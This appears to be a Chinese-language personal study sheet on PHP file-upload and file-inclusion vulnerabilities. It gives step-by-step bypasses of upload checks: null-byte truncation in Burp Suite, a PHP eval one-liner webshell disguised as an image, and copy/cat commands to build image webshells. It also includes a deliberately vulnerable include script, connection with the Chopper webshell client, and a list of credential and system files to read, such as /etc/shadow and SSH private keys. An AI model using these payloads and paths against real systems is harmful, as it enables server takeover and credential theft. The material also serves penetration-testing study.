文件包含漏洞

上传文件校验

  • 客户端javascript校验(一般只校验后缀名)
  • 服务端校验
    • 文件头content-type字段校验(image/gif)
    • 件内容头校验(GIF89a)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定

php文件上传过程黑名单、白名单认证

此文可以参考https://blog.csdn.net/hitwangpeng/article/details/47060671
黑名单绕过可以测试,如
1.aaa,1.php3,1.php4等进行测试

文件上传漏洞

Burpsuite改包

  • 0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候

    • 上传文件为1.php,在burpsuite将其改为1.php+,发送到repeate,+号的十六进制为2d,在hex里面将其改为00,截断,点GO
    • 上传文件为1.php.jpg,将jpg前面的.的十六进制(2e)改为00
  • 上传一句话木马,1.php;<?php eval($_POST["xxx"]);?>,在Burpsuite里面将其文件名改为1.jpg,还有将content-type字段改为image/jpg;

图片木马

  • Windows下制作图片一句话木马php写入图片
    copy 1.jpg/b+2.php/a New.jpg
  • Linux下
    cat 1.jpg 2.php > new.jpg
    点击上传,http://localhost/upload/upload.html
    上传成功后,使用文件包含程序,将jpg文件进行解析
    http://localhost/upload/1.php?page=./uploads/h.jpg
    ?paragam(参数)=图片的绝对路径
    此时上传成功,php程序一句被即解析,本页面只会显示图片的源码,而不显示php程序,此时查看源代码php程序已经被注释
    接下来可以使用菜刀连接 刚刚的网址,密码是php程序里面写入的参数
    1.php
1
2
3
4
5
6
7
8
<?php
if(isset($_GET["page"])){
include $_GET["page"];
}else{
include '2.php';
}

?>

2.php

1
2
3
<?php
echo "niaho";
?>

敏感文件:

1、Windows:
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windows\php.ini //php配置信息
C:Windows\my.ini //Mysql配置信息

2、Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

###
文件包含漏洞详解,转自https://blog.csdn.net/chence19871/article/details/51906523
web安全文件包含漏洞,转自https://blog.csdn.net/hitwangpeng/article/details/45952625
绕过姿势https://thief.one/2017/04/10/2/
https://thief.one/2016/09/22/上传木马姿势汇总-欢迎补充/